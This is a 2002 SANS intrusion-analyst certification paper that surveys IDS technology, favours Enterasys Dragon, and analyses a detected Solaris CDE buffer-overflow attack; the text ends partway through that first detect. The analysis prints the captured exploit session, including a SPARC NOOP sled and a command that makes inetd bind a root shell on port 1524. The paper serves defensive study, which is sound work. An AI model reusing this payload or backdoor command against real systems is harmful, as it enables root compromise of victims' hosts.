Global Information Assurance Certification Paper

Intrusion Detection in Depth

SANS GIAC Certified Intrusion Analyst
GCIA Practical Assignment Version 3.1

Michael Jacobs
July 30, 2002

Table of Contents

Assignment 1 Describe the State of Intrusion Detection

The Strength Of Enterasys Dragon Network Sensor

Introduction

Sorting through thousands of events on a daily basis, I have had the experience of analyzing alerts from various Intrusion Detection Systems. Such IDS' consist of Enterasys Dragon, ISS RealSecure network and server sensor, Cisco Systems Netranger, and very soon with Snort. And although I have not had the benefit of working with all of these platforms with great depth from an engineering perspective, I have had the opportunity to work with each from an analysis position. From this knowledge I can confidently express that Dragon ranks as a favorite based on various capabilities that I will touch on below. As for the contents of this paper however, I have decided to write about the general use of Intrusion Detection Systems, their current technology, capabilities and briefly describe why I believe Enterasys Dragon is a top performer in this market.

What is Intrusion Detection

So what is an Intrusion Detection System? Intrusion Detection Systems are computers designed to promiscuously detect anomalous and malicious behavior in a network traffic flow. There exist today two main approaches to detecting odd or malicious traffic; behavior based and knowledge based Intrusion Detection. The former, and less advanced approach is configured to monitor the network traffic pattern within predefined parameters. When the traffic deviates from this predefined pattern, the IDS will trigger an alarm warning the administrator of a network anomaly. The strength of this type of Intrusion Detection consists of the IDS' ability to detect intended and unintended misuse of privileges and the detection of new and unknown attacks. The weakness of this type of approach consists of the difficulty in configuring the predefined network parameters, leading to a significant amount of configuration time and false positives. Once properly configured however, this approach may be easily managed because the administrator no longer needs to consistently update a signature database normally maintained on a knowledge based Intrusion Detection System.

A knowledge based Intrusion Detection System consists of an IDS configured with a signature database. The signature database consists of a folder or directory file of attack signatures that the Intrusion Detection System utilizes in order to recognize unwanted traffic. The signatures are specially defined to distinguish network traffic anomalies and attacks when observed. Once observed, the Intrusion Detection System will trigger an alert, warning the administrator of a possible malicious intent. The strength of this type of approach consists of a low false positive rate if configured properly. The weakness lies within the continuous management and update of attack signatures. If the signature database does not contain a signature for new or unknown exploits, then the Intrusion Detection System will most likely not trigger an alert when the traffic is observed.

Just like there are two types of approaches to Intrusion Detection, there also exists two different types of Intrusion Detection Systems, Network based sensors and Host based sensors. A Network based Intrusion Detection sensor consists of promiscuous monitoring capability, providing defense for few to many hosts and servers across the enterprise network. This system triggers alerts when anomalous or malicious activity is observed and sends the data across the network to the IDS manager for analysis interpretation. The strengths of this configuration lay within its broad scope. Depending on the vendor, it may provide monitoring for hundreds of hosts and servers at high speeds without dropping packets. The one main weakness is the inability to read encrypted traffic. Because the Network based IDS consists of a standalone system monitoring network traffic, it cannot decode peer-to-peer encrypted traffic.

Like the Network based system, a Host based Intrusion Detection System also consists of monitoring capabilities to defend against anomalous and malicious activity. The difference however, is that the IDS is installed on a host or server, providing protection for that particular system. The real strength is due to the installation at the kernel level- the Host based IDS now has the ability to read the system log file, providing the ability to

decode encrypted traffic. The weakness of the Host based system is that it can only provide protection for one system as opposed to numerous systems. Additional details on Intrusion Detection may be viewed at http://www.sans.org/newlook/resources/IDFAQ/ID_FAQ.htm.

Dragon Network Sensor

It's not that Enterasys Dragon provides more options than their competitors that make them a leading performer in their industry; it's the fact that Dragon consistently excels in many of its feature capabilities. Based on an article by Greg Shipley and Patrick Mueller called "Dragon Claws its Way to the Top" a test was conducted at Depaul University in Chicago between the top Intrusion Detection Systems on the market (http://www.networkcomputing.com/1217/1217f2.html, August 20, 2001). Dragon NIDS proved to top all competitors except Cisco Systems Netranger in data management, remote manageability, robust engines, scalable frameworks, and data mining and correlation of multiple sensors. In their own words "Cisco's Secure IDS and Enterasys' Dragon are your only real options." However, according to the test results, even in remote manageability Dragon bested Cisco Netranger. This result was founded on the fact that Unix based systems, such as Dragon, are more easily managed remotely than NT based systems under heavy network traffic load. The ability to easily and cleanly connect to the Dragon sensor via SSH is a breeze compared to the use of remote PCAnywhere or telnet through VPN tunnel under the same network constrained conditions.

The Dragon network based sensor is the top of the Enterasys production line. Like other Intrusion Detection Systems, it has the ability to consistently monitor network chokepoints for anomalous and/or malicious traffic at high speeds, generate alerts and send reports for forensic analysis. What I believe drives the success of the Dragon sensor is the stability of its functionality. Such functionality consists of a highly stable inspection engine and its ability to capture and process data at over a 100 mbps without dropping packets under high traffic flow. With the help of the Pentium IV technology and sufficient amount of RAM, Dragon sensor has no problem capturing, processing, inspecting, generating alerts, and sending events to the propriety manager under accelerated rates of traffic.

One of the Dragon sensors finer capabilities, in my own opinion, is its open signature database library. The Dragon sensors signature database library consists of up to 1500 signatures that allow the sensor to promiscuously monitor and detect anomalous and malicious traffic patterns across the network. As stated in the following web link at StandingGuard Solutions http://www.standingguard.com/opensignature.html, the ability and support to write custom signatures consist of port and direction of traffic, protocol, case insensitivity, robust wildcards, searches for binary data, and string searches. Most Intrusion Detection technologies do not allow the administrator the ability to fully customize signatures to fit their network, instead only allowing editing to a certain capacity. Not only do you have to wait for the vendor to create a signature for recent vulnerabilities, but also in the meantime you are left with some serious security holes in the network you are trying to protect. Dragon sensor on the other hand, allows you to

fully customize and edit signatures to match your enterprise needs, even providing assistance for creating custom signatures. In addition, each vendor created signature description includes a Common Vulnerabilities and Exposure (CVE) link for reference to a specific event.

The Dragon Intrusion Detection Systems both log to the *dragon.db* file. This file consist of full packet headers, reconstructed network sessions, port scan and port sweep information, and diagnostic and performance information. Each day the sensor is online a new directory is created named for the actual date of events. Each newly created directory contains the dragon.db file that the event logs are sent to.

Dragon events are created under one of the following group types below. Use of these group types may assist as a reference in the creation of future custom signatures that the Dragon sensor will be able to read and interpret. Such types are listed below

Suspicious
Probe
Attacks
Compromise
Success
Failure
Virus
Collection
Maintenance

Finally the Dragon sensor has the ability to decode network traffic application using its built-in decoding engine. This engine contributes in the inspection of encoded attack traffic in the attempt to bypass the Intrusion Detection System. The Dragon sensor has the capacity to decode the following encoded attacks seen below:

Telnet and FTP white space
SNMP null-byte encoding
Unicode
DNS encoding
RPC null-byte encoding
Long URL wrapping
Per signature case insensitivity
Complex web URL decoding

Dragon Policy Manager

A critical aspect of comprehensive Intrusion Detection is the ability to manage Intrusion Detection Systems. Unlike open source Intrusion Detection Systems, that run on Unix and are not provided with a management interface, Dragon products come with a full and robust propriety web interface management application. This provides not only easy remote management but also an exceptional range of scalability when Intrusion Detection

is needed across a very large enterprise. Although somewhat generic in appearance, the Dragon Policy Manager has exceptional range of built-in tools to easily assist in the management of multiple Dragon sensors at one time. To ensure the sensors are performing their duties the sensors are configured with a special daemon to communicate with the DPM to ensure its wellbeing. When running, the management interface will show the sensor icon as green indicating it's communicating properly. If this daemon is dropped, the DPM will show the sensor icon as red and automatically attempt to restart the Dragon sensor daemon ensuring optimum uptime. The advantage is the Graphical User Interface and the ability to update and maintain multiple sensors at once via encrypted communication.

The DPM provides many of the same management tools that can be use on the CLI (command Line Interface) of the sensors themselves. Use of these tools affords the analyst the ability to drill down into session data and assist in determining what is actually causing specific alerts to be generated. Such tools consist of

sum_event shows a list of events detected
sum_db reports statistical analysis on the *dragon.db* file from the sensor,
mkalarm maintains an active count of events on active IP addresses,
mklog creates a list of hex events and
mksession which reconstructs TCP and UDP sessions from the *dragon.db* file of the sensor.

The DPM also provides the ability to update and push signatures libraries to multiple sensors at one time. This can be accomplished either manually or automatically through the *live update* tool, which pulls new signatures from the Enterasys support site once a day.

Conclusion

In conclusion, although Intrusion Detection technology is considered to be still in its infancy stage Dragon continues to improve its capabilities and performance. Enterasys Dragon provides all the same functionality than its competitors and more, both through management scalability and continual stability. Only a few competitors match its ability to monitor and process thousands of logs a day at high speeds. But still, its proprietary management console provides for higher scalability than most, and at the same time affords the administrators ease of use and a great deal of tools to perform there analysis duties all remotely and securely.

References

SANS Institute resources "Intrusion Detection FAQ" version 1.52
URL: http://www.sans.org/newlook/resources/IDFAQ/ID_FAQ.htm (2001-2002)

Shipley, Greg, Mueller, Patrick "Dragon Claws its Way to the Top"
URL: http://www.networkcomputing.com/1217/1217f2.html (August 20, 2001)

Intrusion Detection Systems "An Introduction to Intrusion Detection Systems and the Dragon IDS Suite"
URL: http://www.intrusion-detection-system-group.co.uk/

Enterasys Networks "The Dragon IDS"
URL: http://www.enterasys.com/ids/dragonids.html

StandingGuard Solutions "Dragon Sensor-Open Solutions"
URL: http://www.standingguard.com/opensignature.html

Assignment 2 Network Detects

The three traces below consisting of events, subevents, and logs are collected from the clients I monitor for my employer. All client logs are securely exported from the client networks, normalized, mined for security events, correlated and presented to the Analysts for review. The actual application used for presentation is a proprietary tool called *Analysis and Response Console* (ARC), which provides the analyst with visibility into the security events for 500+ clients, and over 25 Terabytes of security data.

Unfortunately, while ARC is structured to present the events and logs into two separate viewable windows it is not possible to do so within Microsoft Word. Therefore lines must be wrapped into several different lines in order for all the data to be viewed on this paper.

Detect # 1 Horizontal scan and CDE Buffer Overflow

Event

GMT Timestamp	Event Number	Source IP	Company ID	SubEvents	Cost	Severity
5/31/2002 4:30:27 AM	1686840	12.249.117.216	rp964607CLIENT	2	15	Informational

SubEvents

GMT Timestamps	Subevent Number	Source IP Address	Signature Name	Signature Types	Analyst Signature Name
5/30/2002 8:15:54 AM	7004430	12.249.117.216	Horizontal Scan for	Scans	Horizontal Scan Detected
5/30/2002 8:07:19 AM	7004360	12.249.117.216	CDE Subprocess NOOP:SOLARIS	Dragon Alerts	Generic SPARC Buffer

Overflow

SubCategory Logs Cost Severity

SubCategory	Logs	Cost	Severity
Recon	88	5	Informational
Exploit	15	10	Informational

Logs for SubEvent 7004430

```
GMT Timestamp        Original Timestamp      Source IP Address      Source Port
Destination IP Address          Dest Port  Protocol  Rule Action

5/30/2002 7:59:47 AM          5/30/2002 8:59:47 AM      12.249.117.216              53018
CLIENT.NET.52.19                          6112                    tcp            drop
5/30/2002 7:59:41 AM          5/30/2002 8:59:41 AM              12.249.117.216
52999        CLIENT.NET.52.0                     6112                    tcp            drop
5/30/2002 7:59:13 AM          5/30/2002 8:59:13 AM              12.249.117.216
53996        CLIENT.NET.55.226                  6112              tcp          drop
5/30/2002 7:59:13 AM          5/30/2002 8:59:13 AM              12.249.117.216
53988        CLIENT.NET.55.218                  6112              tcp          drop
5/30/2002 7:59:13 AM          5/30/2002 8:59:13 AM              12.249.117.216
53987        CLIENT.NET.55.217                  6112              tcp          drop
5/30/2002 7:59:13 AM          5/30/2002 8:59:13 AM              12.249.117.216
53986        CLIENT.NET.55.216                  6112              tcp          drop
5/30/2002 7:59:13 AM          5/30/2002 8:59:13 AM              12.249.117.216
53985        CLIENT.NET.55.215                  6112              tcp            drop
5/30/2002 7:59:13 AM          5/30/2002 8:59:13 AM              12.249.117.216
53984        CLIENT.NET.55.214                  6112              tcp          drop
5/30/2002 7:59:13 AM          5/30/2002 8:59:13 AM              12.249.117.216
53983        CLIENT.NET.55.213                  6112              tcp          drop
```

```
Device IP Address      Device Name                  Device Type    Sensor Name
Interface Direction

  CLIENT.NET.52.19       CLIENT, HAV                      Checkpoint 4.1     Checkpoint 4.x
Inbound
  CLIENT.NET.52.19       CLIENT, HAV                      Checkpoint 4.1     Checkpoint 4.x
Inbound
  CLIENT.NET.52.18         CLIENT, HAV                       Checkpoint 4.1     Checkpoint 4.x
Inbound
  CLIENT.NET.52.18         CLIENT, HAV                       Checkpoint 4.1     Checkpoint 4.x
Inbound
  CLIENT.NET.52.18                CLIENT, HAV                        Checkpoint 4.1
Checkpoint 4.x           Inbound
  CLIENT.NET.52.18       CLIENT, HAV                      Checkpoint 4.1     Checkpoint 4.x
Inbound
  CLIENT.NET.52.18       CLIENT, HAV                      Checkpoint 4.1     Checkpoint 4.x
Inbound
  CLIENT.NET.52.18       CLIENT, HAV                      Checkpoint 4.1     Checkpoint 4.x
Inbound
```

Logs for SubEvent 7004360

```
GMT Timestamp      Original Timestamp      Source IP Address      Source Port
Destination IP Address          Dest Port  Protocol

5/30/2002 7:38:54 AM      5/30/2002 7:38:54 AM      12.249.117.216                        53953
CLIENT.NET.52.113                6112          TCP
5/30/2002 7:38:54 AM    5/30/2002 7:38:54 AM       12.249.117.216                53953
CLIENT.NET.52.113                6112          TCP
5/30/2002 7:38:54 AM    5/30/2002 7:38:54 AM       12.249.117.216                        53953
CLIENT.NET.52.113                6112          TCP
5/30/2002 7:38:54 AM    5/30/2002 7:38:54 AM       12.249.117.216                        53954
CLIENT.NET.52.113                6112          TCP
5/30/2002 7:38:54 AM    5/30/2002 7:38:54 AM       12.249.117.216                        53954
CLIENT.NET.52.113                6112          TCP
5/30/2002 7:38:54 AM    5/30/2002 7:38:54 AM       12.249.117.216                        53954
CLIENT.NET.52.113                6112          TCP
5/30/2002 7:38:54 AM    5/30/2002 7:38:54 AM       12.249.117.216                        53955
CLIENT.NET.52.113                6112          TCP
```

```
System Messages     Device IP Address      Device Name        Device Type
Sensor Name                Interface Direction

tcp,dp=6112,sp=53953    CLIENT.NET.55.51      CLIENT, Dragon IDS          Dragon
DRAG-CLIENT004                       Inbound
tcp,dp=6112,sp=53953    CLIENT.NET.55.51      CLIENT, Dragon IDS        Dragon
DRAG-CLIENT004                       Inbound
tcp,dp=6112,sp=53953    CLIENT.NET.55.51      CLIENT, Dragon IDS        Dragon
DRAG-CLIENT004                       Inbound
tcp,dp=6112,sp=53953    CLIENT.NET.55.51      CLIENT, Dragon IDS          Dragon
DRAG-CLIENT004                       Inbound
tcp,dp=6112,sp=53953    CLIENT.NET.55.51      CLIENT, Dragon IDS        Dragon
DRAG-CLIENT004                        Inbound
tcp,dp=6112,sp=53953    CLIENT.NET.55.51      CLIENT, Dragon IDS        Dragon
DRAG-CLIENT004                       Inbound
tcp,dp=6112,sp=53953    CLIENT.NET.55.51      CLIENT, Dragon IDS                 Dragon
DRAG-CLIENT004                        Inbound
```

Captured Dragon Session:

```
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

```
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAA{0}{0}{10} >
{0}{0}{0}{14}BBBB{FF}{FF}{FF}{FF}{0}{0}{F}{F4}CCCC{0}{2}{C1}{B8}DDDD{FF
}{FF}
{FF}{FF}EEEEFFFFGGGG{EF}^{95}{1C}BBBBBBBBB0000000204100c0002   4
{0}root{0}{0}10{0}{80}{1C}@{11}{80}{1C}@{11}{10}{80}
{1}{1}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}
{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@
{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{8
0}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}
{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1
C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}
{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{
11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}
@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{
80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}
{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1
C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}
{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{
11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}
@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{
80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}
{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1
C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}
{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{
11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}
@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{
80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}
```

```
{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1
C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}
{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{
11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}
@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{
80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}
{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1
C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}
{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{
11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}
@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{
80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}
{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1
C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}
{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{
11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}
@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{
80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}
{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1
C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}
{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{
11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}
@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{
80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}
{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1
C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}
{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{
11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}
@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{
80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}
{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1
C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}
{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{
11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}
@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{
80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}
{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1
C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}
{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{
11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}
@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11}{80}{1C}@{11} {BF}{FF}{FF}
{BF}{FF}{FF}{7F}{FF}{FF}{FF}{90}{3}{E0}4{92}#{E0}
 {A2}{2} {C}{A4}{2} {10}{C0}* {8}{C0}*
{E}{D0}#{FF}{E0}{E2}#{FF}{E4}{E4}#{FF}{E8}{C0}#{FF}{EC}{82}{10}
{B}{91}{D0}
{8}/bin/ksh    -c  echo "ingreslock stream tcp nowait root /bin/sh sh -
i" > /tmp/x;/usr/sbin/inetd -s /tmp/x;sleep 10;/bin
/rm -f /tmp/x
```

Dragon Signature:

```
T A A B 15 0 A    NOOP:SOLARIS    /80/1c/40/11/80/1c/40/11/80/1c/40/11/80/1c/40/11
 |  |  |  |   |  |  |               |                     |
 |  |  |  |   |  |  |               |                     Search String  (Signature string)
 |  |  |  |   |  |  |               Event Name (Signature name)
```

| | | | | | Port (All ports)
| | | | | Compare Bytes (0 bytes into each packet)
| | | | Dynamic Log (15 packets after rule triggers)
| | | Binary or String (All case)
| | Protected Network (All traffic)
| Direction (Destination)
Protocol (TCP)

Source of Trace:

This detect was obtained from our Security Operations Center Analysis and Response Console.

Detect Generated By:

This event was generated by Dragon 4.2.2 on a Redhat 7.1 platform and Checkpoint 330 version 4.x. A quick overview of Dragon Signature format is seen just below the signature.

Probability the Source Address was Spoofed:

It is unlikely that the source has been spoofed considering the connections for the attack are over TCP. In order for the attacker to gain root from the overflow attempt a TCP connection would have to be established. A web scan on Sam Spade shows that this source is an Apache/2.0.35 (Unix) server. Most likely the source has been hacked and is being used as a third party launching pad for malicious use.

Description of the Attack:

Based on the *Signature Name* we see a horizontal scan (same port across multiple hosts on a network block) across several of our client networks searching for the CDE dtspcd service on TCP port 6112 and a NOOP:SOLARIS signature representing a buffer overflow attempt at a different timeframe. A CDE exploit was posted in November 2001 CVE—2001-0803. Details of the vulnerability were posted at http://www.kb.cert.org/vuls/id/172583.

Analyzing the O*riginal Timestamp* section we see the horizontal TCP scan for port 6112 took place after the buffer overflow attack. Our SOC actually manages the Dragon and the client manages the Checkpoint firewall both of which we monitor. The timestamp mismatch did not make sense. Knowing that the managed Dragon was synchronized with an NTP server I believed perhaps the attacker had previously scanned the client network and knew which hosts accepted connections on this port. Researching this theory proved to be fruitless for no history of activity from the attacker existed. After making a phone call to the client it was determined that the target server was external to the firewall explaining the timestamp issue and all the dropped connections.

Analyzing the captured session data from the Dragon IDS we see the attacker attempted to inject “echo "ingreslock stream tcp nowait root /bin/sh sh -i" > /tmp/x;/usr/sbin/inetd -s /tmp/x;sleep 10;/bin/rm -f /tmp/x” into the /etc/inetd.conf file on the target IP thus opening a backdoor shell on port 1524. There is no evidence that the attacker was successful with this attack. Provided the signature is configured properly a successful attack should indicate a bin_sh within the session data. Even though the attack appears unsuccessful the lethality of the attack prompted our analysts to contact the client and determine that the victim was properly updated with the latest patch.

Attack Mechanism:

The attacker attempted to exploit a well-known buffer overflow condition on port 6112 CDE. The buffer overflow condition exists within the (dtspcd) Common Desktop Environment service that typically runs on Solaris X windows. The dtspd is a graphical user interface network daemon that accepts requests from clients, executes commands and launches applications remotely. Based on Securityfocus website this tool is currently only found in the Blackhat community. **http://online.securityfocus.com/bid/3517**

Correlations:

Over the past four months our analysts have observed this source IP performing horizontal CDE scans against multiple customers. In addition, our SOC has been witness to similar CDE overflow attacks against different clients with near identical session data originating from several different source IP’s. Searching this exploit in **www.google.org** found several instances of this attack. An excellent write up dating back to Jan 8 2002 can be found at the following link http://project.honeynet.org.

Evidence of Active Targeting:

Based on correlated activity from this source IP mentioned above this was not a targeted attack.

Severity:

Target Criticality: 3: The target is a publicly accessible Solaris server with many different services running. The attacker was most likely attacking the CDE service to gain root access and possibly target internal hosts or other Internet sites.

